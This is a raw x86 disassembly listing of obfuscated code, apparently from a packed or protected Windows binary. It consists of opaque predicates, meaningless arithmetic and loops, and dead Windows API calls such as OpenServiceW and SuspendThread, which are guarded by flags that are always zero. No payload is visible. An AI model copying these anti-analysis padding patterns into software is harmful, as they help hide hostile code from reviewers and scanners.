mov eax, dword [ebp - 0xef4]
sub eax, dword [ebp - 0x1fe8]
neg eax
mov dword [ebp - 0x514], eax
imul esi, dword [ebp - 0x464], 0x3e73
push dword [ebp - 0x174]
lea ecx, [ebp - 0x2cdc]
call fcn.00435532
sub esi, dword [eax]
mov dword [ebp - 0x464], esi
mov dword [ebp - 0x514], 0
jmp 0x4742df
cmp dword [ebp - 0x514], 1
jg 0x474527
mov dword [ebp - 0x6a8], 0x239f
cmp dword [ebp - 0x6a8], 0xffffffff
je 0x47430b
mov dword [ebp - 0xf14], 1
jmp 0x474312
and dword [ebp - 0xf14], 0
cmp dword [ebp - 0x174], 0
jne 0x47432d
mov eax, 0x6dad3f04
test eax, eax
jne 0x47432d
and dword [ebp - 0xefc], 0
jmp 0x474337
mov dword [ebp - 0xefc], 1
mov eax, dword [ebp - 0x2aec]
add eax, dword [ebp - 0xefc]
cmp eax, dword [ebp - 0x6a8]
je 0x474357
mov dword [ebp - 0x1ff0], 1
jmp 0x47435e
and dword [ebp - 0x1ff0], 0
mov eax, dword [ebp - 0xad4]
cmp dword [ebp - 0x1ff0], eax
jne 0x474378
mov dword [ebp - 0xf04], 1
jmp 0x47437f
and dword [ebp - 0xf04], 0
mov eax, dword [ebp - 0x13c]
sub eax, dword [ebp - 0xf04]
cmp eax, 0xfffffffa
jl 0x47439c
mov dword [ebp - 0x1ff8], 1
jmp 0x4743a3
and dword [ebp - 0x1ff8], 0
mov eax, dword [ebp - 0x6a8]
cmp dword [ebp - 0x1ff8], eax
jg 0x4743bd
mov dword [ebp - 0xf0c], 1
jmp 0x4743c4
and dword [ebp - 0xf0c], 0
mov eax, dword [ebp - 0x174]
imul eax, dword [ebp - 0xf0c]
cmp eax, 0xc1b23fe2
je 0x4743e4
mov dword [ebp - 0x2000], 1
jmp 0x4743eb
and dword [ebp - 0x2000], 0
cmp dword [ebp - 0x2000], 0x319b
jne 0x474403
mov dword [ebp - 0x2008], 1
jmp 0x47440a
and dword [ebp - 0x2008], 0
mov eax, dword [ebp - 0xf14]
cmp eax, dword [ebp - 0x2008]
jne 0x474424
mov dword [ebp - 0xf1c], 1
jmp 0x47442b
and dword [ebp - 0xf1c], 0
mov eax, dword [ebp - 0x464]
cmp dword [ebp - 0xf1c], eax
jg 0x474445
mov dword [ebp - 0x2010], 1
jmp 0x47444c
and dword [ebp - 0x2010], 0
mov eax, dword [ebp - 0x2010]
sub eax, 0x2b4c4143
cmp eax, dword [ebp - 0x6a8]
jne 0x47446b
jmp 0x474191
jmp 0x47414d
lea ecx, [ebp - 0x2cdc]
call fcn.00435516
mov dword [ebp - 0x4c], 0xfffffff7
push 1
lea ecx, [ebp - 0x2570]
call fcn.00435444
or dword [ebp - 0x306c], 0xffffffff
or dword [ebp - 0x3068], 0xffffffff
or dword [ebp - 0x3064], 0xffffffff
or dword [ebp - 0x3060], 0xffffffff
lea ecx, [ebp - 0xaa9]
call fcn.00435541
push eax
lea eax, [ebp - 0x305c]
push eax
lea eax, [ebp - 0x306c]
push eax
lea ecx, [ebp - 0x407c]
call fcn.00435544
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x9ec]
call fcn.004354f0
mov dword [ebp - 0x2038], 0x3f29c8dd
mov dword [ebp - 0x198], 0
jmp 0x4745c4
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 1
jge 0x4745e6
push dword [ebp - 0x198]
lea ecx, [ebp - 0x2570]
call fcn.00435532
mov dword [eax], 0x6847dfa8
jmp 0x4745b7
mov dword [ebp - 0x198], 0
jmp 0x4745ff
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 4
jge 0x47461b
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x3d10], 0xffffffff
jmp 0x4745f2
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
and dword [eax], 0
jmp 0x474651
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
mov dword [ebp - 0xf3c], eax
mov eax, dword [ebp - 0xf3c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xf3c]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
cmp dword [eax], 0
jg 0x474846
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
push dword [eax]
lea ecx, [ebp - 0x2570]
call fcn.00435532
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
mov esi, eax
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
push dword [eax]
lea ecx, [ebp - 0x2570]
call fcn.00435532
mov edi, eax
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
push dword [eax]
lea ecx, [ebp - 0x2570]
call fcn.00435532
mov ecx, dword [edi]
imul ecx, dword [eax]
cmp dword [esi], ecx
jne 0x4746e4
mov eax, 0x17d0b0a3
test eax, eax
je 0x4746e4
mov dword [ebp - 0x2030], 1
jmp 0x4746eb
and dword [ebp - 0x2030], 0
cmp dword [ebp - 0x2030], 0xffffffff
jne 0x474700
mov dword [ebp - 0xbf4], 1
jmp 0x474707
and dword [ebp - 0xbf4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbf4]
mov dword [ebp + eax - 0x3d10], ecx
cmp dword [ebp - 0xbf4], 0
je 0x474751
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
cmp dword [eax], 0
je 0x474751
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3d10], 0
je 0x474751
mov dword [ebp - 0x2b04], 1
jmp 0x474758
and dword [ebp - 0x2b04], 0
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x3d10]
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
push dword [eax]
lea ecx, [ebp - 0x2570]
call fcn.00435532
add esi, dword [eax]
push 1
lea ecx, [ebp - 0x9ec]
call fcn.00435532
add esi, dword [eax]
cmp esi, 0xfffffffe
jge 0x4747ae
mov dword [ebp - 0xf44], 1
jmp 0x4747b5
and dword [ebp - 0xf44], 0
mov eax, dword [ebp - 0xf44]
mov dword [ebp - 0x2038], eax
cmp dword [ebp - 0x2038], 0
jne 0x4747f2
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
push dword [eax]
lea ecx, [ebp - 0x2570]
call fcn.00435532
cmp dword [eax], 0
jne 0x4747f2
and dword [ebp - 0xf4c], 0
jmp 0x4747fc
mov dword [ebp - 0xf4c], 1
push 2
lea ecx, [ebp - 0x9ec]
call fcn.00435532
push dword [eax]
lea ecx, [ebp - 0x2570]
call fcn.00435532
mov ecx, dword [ebp - 0xf4c]
mov dword [eax], ecx
mov byte [ebp - 0x2e5], 0
movzx eax, byte [ebp - 0x2e5]
test eax, eax
je 0x474841
push 0x21fd
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
jmp 0x47462d
lea ecx, [ebp - 0x9ec]
call fcn.00435516
lea ecx, [ebp - 0x2570]
call fcn.00435516
mov dword [ebp - 0x2b0c], 0xfff7
mov dword [ebp - 0x32c], 0xffffffff
mov dword [ebp - 0xc7c], 0x544d1878
mov dword [ebp - 0x2b14], 0xffb91e60
cmp dword [ebp - 0x2b0c], 1
je 0x4748aa
mov byte [ebp - 0x2e7], 0
movzx eax, byte [ebp - 0x2e7]
test eax, eax
je 0x4748a5
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x474abb
mov dword [ebp - 0xadc], 0x9a2f3817
cmp dword [ebp - 0x32c], 0
je 0x474a6b
mov dword [ebp - 0xf6c], 0xf219a6f
mov dword [ebp - 0x2b24], 0xffffffff
mov dword [ebp - 0x32c], 0
jmp 0x4748ee
mov eax, dword [ebp - 0x32c]
dec eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0xffffffea
jne 0x474a40
mov dword [ebp - 0x2b1c], 0xffffffff
mov dword [ebp - 0xf54], 0xffffffff
mov eax, dword [ebp - 0x2b14]
cmp dword [ebp - 0xf6c], eax
jl 0x474929
mov dword [ebp - 0x2040], 1
jmp 0x474930
and dword [ebp - 0x2040], 0
mov eax, dword [ebp - 0x2b1c]
cmp dword [ebp - 0x2040], eax
jge 0x47494a
mov dword [ebp - 0x2050], 1
jmp 0x474951
and dword [ebp - 0x2050], 0
mov eax, dword [ebp - 0xc7c]
mov dword [ebp - 0xf54], eax
mov eax, dword [ebp - 0x2b24]
cmp dword [ebp - 0xf54], eax
jle 0x474980
cmp dword [ebp - 0x32c], 0
je 0x474980
mov dword [ebp - 0x2048], 1
jmp 0x474987
and dword [ebp - 0x2048], 0
cmp dword [ebp - 0x2048], 0x49dcb7be
jle 0x47499f
mov dword [ebp - 0xf5c], 1
jmp 0x4749a6
and dword [ebp - 0xf5c], 0
cmp dword [ebp - 0xf5c], 0xfff7
jbe 0x4749be
mov dword [ebp - 0x2b2c], 1
jmp 0x4749c5
and dword [ebp - 0x2b2c], 0
mov eax, dword [ebp - 0xc7c]
mov dword [ebp - 0x3570], eax
cmp dword [ebp - 0x32c], 0xfffffffd
jge 0x4749e6
mov dword [ebp - 0xf64], 1
jmp 0x4749ed
and dword [ebp - 0xf64], 0
mov eax, dword [ebp - 0x2050]
cmp eax, dword [ebp - 0xf64]
je 0x474a07
mov dword [ebp - 0x2058], 1
jmp 0x474a0e
and dword [ebp - 0x2058], 0
mov eax, dword [ebp - 0xadc]
cmp eax, dword [ebp - 0x2058]
jne 0x474a23
cmp dword [ebp - 0xadc], 0
mov eax, dword [ebp - 0xf6c]
mov dword [ebp - 0x3578], eax
mov eax, dword [ebp - 0xadc]
mov dword [ebp - 0xc7c], eax
jmp 0x4748e1
mov byte [ebp - 0x2e9], 0
movzx eax, byte [ebp - 0x2e9]
test eax, eax
je 0x474a69
push 0x1577
push 0x13f6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableScrollBar]
jmp 0x474abb
mov dword [ebp - 0x990], 0
jmp 0x474a84
mov eax, dword [ebp - 0x990]
inc eax
mov dword [ebp - 0x990], eax
cmp dword [ebp - 0x990], 1
jge 0x474aa0
mov eax, dword [ebp - 0x990]
mov dword [ebp + eax*4 - 0x2060], 0xffffffff
jmp 0x474a77
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2060]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2060], eax
mov dword [ebp - 0x2bb4], 0xc6dd3ed2
mov dword [ebp - 0x3580], 1
mov dword [ebp - 0x3588], 0x8bd4dfbd
mov dword [ebp - 0x3590], 0x1a7ecc24
mov dword [ebp - 0x3598], 0xfffffff7
mov dword [ebp - 0x3d24], 1
mov dword [ebp - 0x3d20], 1
mov dword [ebp - 0x3d1c], 1
mov dword [ebp - 0x3d18], 1
mov dword [ebp - 0x35a0], 0x7b30498d
mov dword [ebp - 0x35a8], 0xed162c5d
mov dword [ebp - 0x35b0], 0xe3d0
mov dword [ebp - 0x35b8], 0xfe9a5a16
mov dword [ebp - 0x35c0], 0x1ee3199f
mov dword [ebp - 0x35c8], 0xfffffff8
mov dword [ebp - 0x6b0], 0
jmp 0x474b6a
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 3
jge 0x474b86
mov eax, dword [ebp - 0x6b0]
mov dword [ebp + eax*4 - 0x2ed4], 0x25b9b55b
jmp 0x474b5d
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2ed4], 0x17
jmp 0x474bb4
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ed4]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2ed4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2ed4], 0xfffffff1
jle 0x474c87
mov dword [ebp - 0x35d0], 0x5260417b
mov dword [ebp - 0x35d8], 1
mov dword [ebp - 0x35e0], 0xc5021c3a
mov dword [ebp - 0x35e8], 1
mov dword [ebp - 0x35f0], 0x609b2b53
mov dword [ebp - 0x35f8], 0
mov dword [ebp - 0x3600], 8
push 2
lea ecx, [ebp - 0x3998]
call fcn.00435444
mov dword [ebp - 0x3608], 0
mov dword [ebp - 0xf74], 0xffff
mov dword [ebp - 0x860], 0
jmp 0x474c48
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
cmp dword [ebp - 0x860], 2
jge 0x474c6a
push dword [ebp - 0x860]
lea ecx, [ebp - 0x3998]
call fcn.00435532
mov dword [eax], 1
jmp 0x474c3b
mov eax, dword [ebp - 0xf74]
inc eax
mov dword [ebp - 0xf74], eax
lea ecx, [ebp - 0x3998]
call fcn.00435516
jmp 0x474b99
mov dword [ebp - 0x3610], 0xfffffff6
mov dword [ebp - 0x4c4], 0xead
mov dword [ebp - 0x930], 0xc87a9b65
push 2
lea ecx, [ebp - 0x2cec]
call fcn.00435444
mov dword [ebp - 0xbfc], 0xfffffffb
mov dword [ebp - 0x6b8], 1
mov dword [ebp - 0x2088], 1
mov dword [ebp - 0x2098], 8
mov dword [ebp - 0x20a8], 0x3b76f056
mov dword [ebp - 0x2b44], 0x40fd7713
mov dword [ebp - 0x60], 0
jmp 0x474cfe
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jge 0x474d14
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x634], 0x79b69b2e
jmp 0x474cf7
mov dword [ebp - 0x60], 0
jmp 0x474d24
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 4
jge 0x474d3a
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x3e48], 0xfffffffb
jmp 0x474d1d
mov dword [ebp - 0x60], 0
jmp 0x474d4a
cmp dword [ebp - 0x60], 2
jge 0x474d63
cmp dword [ebp + 8], 1
jne 0x481a76
mov dword [ebp - 0x364], 0xf6af1124
mov dword [ebp - 0x1674], 1
mov dword [ebp - 0x2890], 4
mov dword [ebp - 0x2898], 2
mov dword [ebp - 0x364], 0
jmp 0x47da4d
mov eax, dword [ebp - 0x364]
dec eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0xffffffe6
je 0x47dbfa
mov dword [ebp - 0x7d0], 0x85b6478c
mov dword [ebp - 0x1e44], 0x7356a0b3
mov dword [ebp - 0xa00], 0
jmp 0x47da87
mov eax, dword [ebp - 0xa00]
inc eax
mov dword [ebp - 0xa00], eax
cmp dword [ebp - 0xa00], 1
jge 0x47daa3
mov eax, dword [ebp - 0xa00]
mov dword [ebp + eax*4 - 0x2a04], 0
jmp 0x47da7a
mov byte [ebp - 0x44e], 0
movzx eax, byte [ebp - 0x44e]
test eax, eax
je 0x47dac1
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
cmp dword [ebp - 0x1674], 0
ja 0x47dad6
mov dword [ebp - 0x222c], 1
jmp 0x47dadd
and dword [ebp - 0x222c], 0
push 0xfffffffffffffffb
pop eax
test eax, eax
je 0x47db02
cmp dword [ebp - 0x7d0], 0
jne 0x47daf6
cmp dword [ebp - 0x364], 0
je 0x47db02
mov dword [ebp - 0x1e3c], 1
jmp 0x47db09
and dword [ebp - 0x1e3c], 0
mov eax, dword [ebp - 0x7d0]
cmp dword [ebp - 0x1e3c], eax
jne 0x47db23
mov dword [ebp - 0x1664], 1
jmp 0x47db2a
and dword [ebp - 0x1664], 0
mov eax, dword [ebp - 0x1664]
mov dword [ebp - 0x7d0], eax
cmp dword [ebp - 0x222c], 3
jge 0x47db48
cmp dword [ebp - 0x7d0], 0
je 0x47db5d
cmp dword [ebp - 0x364], 0
je 0x47db5d
mov dword [ebp - 0x166c], 1
jmp 0x47db64
and dword [ebp - 0x166c], 0
mov eax, dword [ebp - 0x166c]
mov dword [ebp - 0x1e44], eax
cmp dword [ebp - 0x1e44], 0
je 0x47db8e
cmp dword [ebp - 0x1674], 0
je 0x47db8e
mov dword [ebp - 0x2424], 1
jmp 0x47db95
and dword [ebp - 0x2424], 0
mov eax, dword [ebp - 0x2424]
sub eax, dword [ebp - 0x364]
cmp eax, dword [ebp - 0x2890]
jg 0x47dbb5
mov dword [ebp - 0x167c], 1
jmp 0x47dbbc
and dword [ebp - 0x167c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a04]
cmp dword [ebp - 0x167c], eax
jg 0x47dbdd
mov dword [ebp - 0x1e4c], 1
jmp 0x47dbe4
and dword [ebp - 0x1e4c], 0
mov eax, dword [ebp - 0x1e4c]
add eax, 0xa083
mov dword [ebp - 0x2898], eax
jmp 0x47da40
push 3
lea ecx, [ebp - 0x2590]
call fcn.00435444
mov dword [ebp - 0xd8], 0xfffffffb
mov dword [ebp - 0xb74], 0xaeb9ae77
mov dword [ebp - 0x8f0], 0
jmp 0x47dc34
mov eax, dword [ebp - 0x8f0]
inc eax
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 3
jge 0x47dc56
push dword [ebp - 0x8f0]
lea ecx, [ebp - 0x2590]
call fcn.00435532
mov dword [eax], 0xbbca6318
jmp 0x47dc27
mov dword [ebp - 0xd8], 0
jmp 0x47dc6f
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 2
jg 0x47dea8
mov dword [ebp - 0x7d8], 0
jmp 0x47dc95
mov eax, dword [ebp - 0x7d8]
inc eax
mov dword [ebp - 0x7d8], eax
cmp dword [ebp - 0x7d8], 1
jge 0x47dcb1
mov eax, dword [ebp - 0x7d8]
mov dword [ebp + eax*4 - 0xc44], 0xfffffff7
jmp 0x47dc88
mov dword [ebp - 0xb74], 0xe90a624c
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x2590]
call fcn.00435532
cmp dword [eax], 0
jne 0x47de2b
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x2590]
call fcn.00435532
cmp dword [eax], 0x71a0
je 0x47dcfa
mov dword [ebp - 0x1684], 1
jmp 0x47dd01
and dword [ebp - 0x1684], 0
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x2590]
call fcn.00435532
mov eax, dword [eax]
sub eax, dword [ebp - 0x1684]
je 0x47dd31
mov eax, 0x74ca7790
test eax, eax
je 0x47dd31
mov dword [ebp - 0x2234], 1
jmp 0x47dd38
and dword [ebp - 0x2234], 0
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x2590]
call fcn.00435532
mov ecx, dword [ebp - 0x2234]
cmp ecx, dword [eax]
jl 0x47dd5f
mov dword [ebp - 0x168c], 1
jmp 0x47dd66
and dword [ebp - 0x168c], 0
cmp dword [ebp - 0x168c], 0xa814b11f
jae 0x47dd7e
mov dword [ebp - 0x1e54], 1
jmp 0x47dd85
and dword [ebp - 0x1e54], 0
mov esi, dword [ebp - 0xd8]
add esi, dword [ebp - 0x1e54]
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x2590]
call fcn.00435532
cmp esi, dword [eax]
je 0x47ddb2
mov dword [ebp - 0x1694], 1
jmp 0x47ddb9
and dword [ebp - 0x1694], 0
cmp dword [ebp - 0x1694], 0xb3799040
ja 0x47ddde
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc44], 0
jne 0x47ddde
and dword [ebp - 0x25f4], 0
jmp 0x47dde8
mov dword [ebp - 0x25f4], 1
cmp dword [ebp - 0x25f4], 0
je 0x47ddfd
mov dword [ebp - 0x169c], 1
jmp 0x47de04
and dword [ebp - 0x169c], 0
mov eax, dword [ebp - 0x169c]
mov dword [ebp - 0xb74], eax
cmp dword [ebp - 0xb74], 0
jne 0x47de2b
mov eax, 0xebf3
test eax, eax
jne 0x47de2b
and dword [ebp - 0x1e5c], 0
jmp 0x47de35
mov dword [ebp - 0x1e5c], 1
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x2590]
call fcn.00435532
mov ecx, 0xa7fe
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x1e5c]
jl 0x47de61
mov dword [ebp - 0x16a4], 1
jmp 0x47de68
and dword [ebp - 0x16a4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc44]
cmp dword [ebp - 0x16a4], eax
jg 0x47de89
mov dword [ebp - 0x223c], 1
jmp 0x47de90
and dword [ebp - 0x223c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x223c]
mov dword [ebp + eax - 0xc44], ecx
jmp 0x47dc62
lea ecx, [ebp - 0x2590]
call fcn.00435516
mov dword [ebp - 0x16ac], 0xfffffffa
mov dword [ebp - 0x36c], 0x21f90ef3
mov dword [ebp - 0xb7c], 0x6b43d271
mov dword [ebp - 0x16b4], 0
mov dword [ebp - 0x16c4], 0x667120dd
mov dword [ebp - 0x16ac], 0x8c66
cmp dword [ebp - 0x16ac], 0
jne 0x47df04
mov dword [ebp - 0x2244], 1
jmp 0x47df0b
and dword [ebp - 0x2244], 0
cmp dword [ebp - 0x36c], 0
je 0x47df1b
cmp dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0xb7c]
cmp dword [ebp - 0x36c], eax
jge 0x47df35
mov dword [ebp - 0x1e64], 1
jmp 0x47df3c
and dword [ebp - 0x1e64], 0
mov eax, dword [ebp - 0x1e64]
mov dword [ebp - 0x16b4], eax
cmp dword [ebp - 0x16b4], 0
jne 0x47df63
mov eax, 0xfffe
test eax, eax
jne 0x47df63
and dword [ebp - 0x242c], 0
jmp 0x47df6d
mov dword [ebp - 0x242c], 1
mov eax, dword [ebp - 0x242c]
inc eax
cmp eax, dword [ebp - 0xb7c]
jg 0x47df91
cmp dword [ebp - 0xb7c], 0
je 0x47df91
mov dword [ebp - 0x16bc], 1
jmp 0x47df98
and dword [ebp - 0x16bc], 0
mov eax, dword [ebp - 0x16bc]
dec eax
cmp eax, dword [ebp - 0x36c]
je 0x47dfb3
mov dword [ebp - 0x1e6c], 1
jmp 0x47dfba
and dword [ebp - 0x1e6c], 0
mov eax, dword [ebp - 0x1e6c]
mov dword [ebp - 0x16c4], eax
mov eax, dword [ebp - 0x16c4]
imul eax, dword [ebp - 0x2244]
cmp eax, dword [ebp - 0x36c]
jne 0x47dfe7
mov dword [ebp - 0x16cc], 1
jmp 0x47dfee
and dword [ebp - 0x16cc], 0
mov eax, dword [ebp - 0x36c]
cmp dword [ebp - 0x16cc], eax
jge 0x47e008
mov dword [ebp - 0x1e74], 1
jmp 0x47e00f
and dword [ebp - 0x1e74], 0
mov eax, dword [ebp - 0x1e74]
mov dword [ebp - 0x36c], eax
mov byte [ebp - 0x2fa], 0
movzx eax, byte [ebp - 0x2fa]
test eax, eax
je 0x47e03c
push 0xaec
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x130], 0xfffffff6
mov dword [ebp - 0x7e0], 0xfffffff8
mov dword [ebp - 0x978], 0
jmp 0x47e069
mov eax, dword [ebp - 0x978]
inc eax
mov dword [ebp - 0x978], eax
cmp dword [ebp - 0x978], 4
jge 0x47e085
mov eax, dword [ebp - 0x978]
mov dword [ebp + eax*4 - 0x4130], 0x3a4a9bdb
jmp 0x47e05c
mov dword [ebp - 0x7e0], 3
jmp 0x47e09e
mov eax, dword [ebp - 0x7e0]
dec eax
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0
jl 0x47e0c3
mov byte [ebp - 0x422], 0
movzx eax, byte [ebp - 0x422]
test eax, eax
je 0x47e0c1
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
jmp 0x47e091
mov dword [ebp - 0x374], 0xf9e9
mov dword [ebp - 0xcbc], 0xba31e468
mov dword [ebp - 0xb84], 9
mov dword [ebp - 0x8f8], 0
jmp 0x47e0fa
mov eax, dword [ebp - 0x8f8]
inc eax
mov dword [ebp - 0x8f8], eax
cmp dword [ebp - 0x8f8], 1
jge 0x47e116
mov eax, dword [ebp - 0x8f8]
mov dword [ebp + eax*4 - 0x28a0], 0
jmp 0x47e0ed
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x3da8], eax
mov dword [ebp - 0xcbc], 0x441a
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0xcbc], eax
jne 0x47e146
mov dword [ebp - 0x16d4], 1
jmp 0x47e14d
and dword [ebp - 0x16d4], 0
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0x16d4], eax
jle 0x47e16d
cmp dword [ebp - 0x374], 0
je 0x47e16d
and dword [ebp - 0x2a0c], 0
jmp 0x47e177
mov dword [ebp - 0x2a0c], 1
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x3db0], eax
cmp dword [ebp - 0xcbc], 0xfffffffe
jg 0x47e198
mov dword [ebp - 0x252c], 1
jmp 0x47e19f
and dword [ebp - 0x252c], 0
mov eax, dword [ebp - 0x374]
sub eax, dword [ebp - 0x252c]
cmp dword [ebp - 0x374], eax
jne 0x47e1bf
mov dword [ebp - 0x16dc], 1
jmp 0x47e1c6
and dword [ebp - 0x16dc], 0
mov eax, dword [ebp - 0x16dc]
mov dword [ebp - 0xb84], eax
cmp dword [ebp - 0xb84], 0
jne 0x47e1ed
mov eax, 0x1d6a56c3
test eax, eax
jne 0x47e1ed
and dword [ebp - 0x1e7c], 0
jmp 0x47e1f7
mov dword [ebp - 0x1e7c], 1
cmp dword [ebp - 0x1e7c], 0xffffffff
jg 0x47e215
cmp dword [ebp - 0xb84], 0
je 0x47e215
mov dword [ebp - 0x16e4], 1
jmp 0x47e21c
and dword [ebp - 0x16e4], 0
cmp dword [ebp - 0x16e4], 0xffffffff
jle 0x47e231
mov dword [ebp - 0x224c], 1
jmp 0x47e238
and dword [ebp - 0x224c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x224c]
mov dword [ebp + eax - 0x28a0], ecx
mov byte [ebp - 0x2fc], 0
movzx eax, byte [ebp - 0x2fc]
test eax, eax
je 0x47e263
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [ebp - 0x7e8], 0
jmp 0x47e27c
mov eax, dword [ebp - 0x7e8]
inc eax
mov dword [ebp - 0x7e8], eax
cmp dword [ebp - 0x7e8], 1
jge 0x47e298
mov eax, dword [ebp - 0x7e8]
mov dword [ebp + eax*4 - 0x1884], 0xa619
jmp 0x47e26f
mov dword [ebp - 0x15c], 0xfffffff6
mov dword [ebp - 0x9b8], 0
jmp 0x47e2bb
mov eax, dword [ebp - 0x9b8]
inc eax
mov dword [ebp - 0x9b8], eax
cmp dword [ebp - 0x9b8], 1
jge 0x47e2d7
mov eax, dword [ebp - 0x9b8]
mov dword [ebp + eax*4 - 0x1e84], 0xa619
jmp 0x47e2ae
mov dword [ebp - 0x15c], 0
jmp 0x47e2f0
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 1
jge 0x47e30c
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x1e84], 0xffffffff
jmp 0x47e2e3
mov dword [ebp - 0x15c], 0
jmp 0x47e325
mov eax, dword [ebp - 0x15c]
dec eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xffffffff
jg 0x47e55f
push 4
lea ecx, [ebp - 0x323c]
call fcn.00435444
mov dword [ebp - 0x1d8], 0
jmp 0x47e358
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 1
jge 0x47e374
mov eax, dword [ebp - 0x1d8]
mov dword [ebp + eax*4 - 0x37c], 0xc3099cf
jmp 0x47e34b
mov dword [ebp - 0x1d8], 0
jmp 0x47e38d
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 4
jge 0x47e3af
push dword [ebp - 0x1d8]
lea ecx, [ebp - 0x323c]
call fcn.00435532
mov dword [eax], 0x65786371
jmp 0x47e380
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x37c], 0
jmp 0x47e3dd
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x37c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x37c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x37c], 0x18
jl 0x47e54f
mov dword [ebp - 0x7f0], 0x44ad
mov dword [ebp - 0x2a14], 0xffffffff
mov dword [ebp - 0x2a1c], 1
mov eax, dword [ebp - 0x7f0]
mov dword [ebp - 0x2a14], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x37c]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x37c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x37c]
jle 0x47e451
mov dword [ebp - 0x16ec], 1
jmp 0x47e458
and dword [ebp - 0x16ec], 0
mov esi, dword [ebp - 0x7f0]
add esi, dword [ebp - 0x16ec]
push 1
lea ecx, [ebp - 0x323c]
call fcn.00435532
cmp esi, dword [eax]
je 0x47e481
mov dword [ebp - 0x28a8], 1
jmp 0x47e488
and dword [ebp - 0x28a8], 0
mov eax, dword [ebp - 0x7f0]
mov dword [ebp - 0x3db8], eax
xor eax, eax
je 0x47e4ad
mov eax, 0xcf5aa05d
test eax, eax
je 0x47e4ad
mov dword [ebp - 0x16f4], 1
jmp 0x47e4b4
